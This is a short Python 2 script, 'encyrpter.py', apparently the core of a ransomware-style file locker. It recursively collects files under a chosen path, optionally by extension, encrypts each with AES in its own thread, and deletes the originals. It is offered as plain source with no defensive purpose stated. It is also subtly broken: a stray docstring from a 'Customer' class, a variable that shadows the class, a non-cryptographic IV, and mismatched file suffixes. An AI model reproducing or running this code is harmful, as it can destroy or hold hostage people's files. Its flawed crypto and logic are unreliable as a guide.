encyrpter.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import argparse
import os
import random
import struct
import threading

from Crypto.Cipher import AES


class locker:
    key = None

    def __init__(self, key,):
        """Return a Customer object whose name is *name* and starting
        balance is *balance*."""
        self.key = key

    def encrypt(self, file_path, out_filename=None, chunksize=64 * 1024):
        """ Encrypts a file using AES (CBC mode) with the
            given key.

            key:
                The encryption key - a string that must be
                either 16, 24 or 32 bytes long. Longer keys
                are more secure.

            file_path:
                Name of the input file

            out_filename:
                If None, '<file_path>.enc' will be used.

            chunksize:
                Sets the size of the chunk which the function
                uses to read and encrypt the file. Larger chunk
                sizes can be faster for some files and machines.
                chunksize must be divisible by 16.
        """

        if not out_filename:
            out_filename = file_path + '.encrypted'

        iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)
        filesize = os.path.getsize(file_path)

        with open(file_path, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunksize)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += ' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt(self, file_path, out_filename=None, chunksize=24 * 1024):
        """ Decrypts a file using AES (CBC mode) with the
            given key. Parameters are similar to encrypt,
            with one difference: out_filename, if not supplied
            will be file_path without its last extension
            (i.e. if file_path is 'aaa.zip.enc' then
            out_filename will be 'aaa.zip')
        """

        if not out_filename:
            out_filename = os.path.splitext(file_path)[0]

        with open(file_path, 'rb') as infile:
            origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunksize)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(origsize)


if __name__ == '__main__':
    def worker(file, action, key):
        locker = locker(key)
        try:
            if action == 'encrypt':
                locker.encrypt(file)
            elif action == 'decrypt':
                locker.decrypt(file)
            os.remove(file)
        except Exception as e:
            print e

        return

    parser = argparse.ArgumentParser()
    parser.add_argument('-a', '-action', help='Action encrypt/decrypt.', required=True)
    parser.add_argument('-p', '-path', help='Starting path.', required=True)
    parser.add_argument('-k', '-key', help='Key used to encrypt/decrypt.', required=True)
    parser.add_argument('-e', '-extensions', help='Only parse these types of files.', required=False, action='append')

    args = parser.parse_args()

    if args.p and args.a and args.k and args.a in ['encrypt', 'decrypt']:
        path = args.p
        if os.path.exists(path) is False:
            print "ERROR: Root path doesn't exists."
            exit(1)
        files = []
        for (root, directories, file_paths) in os.walk(path):
            for filename in file_paths:
                if args.e is not None:
                    if os.path.splitext(filename)[1] in args.e:
                        files.append(os.path.join(root, filename))
                else:
                    files.append(os.path.join(root, filename))
        count = len(files)
        print "[+] {} files found.".format(count)
        if count > 0:
            print "[+] Working..."
            for target in files:
                threading.Thread(target=worker, args=(target, args.a, args.k)).start()
            print "[+] Done."

        exit(0)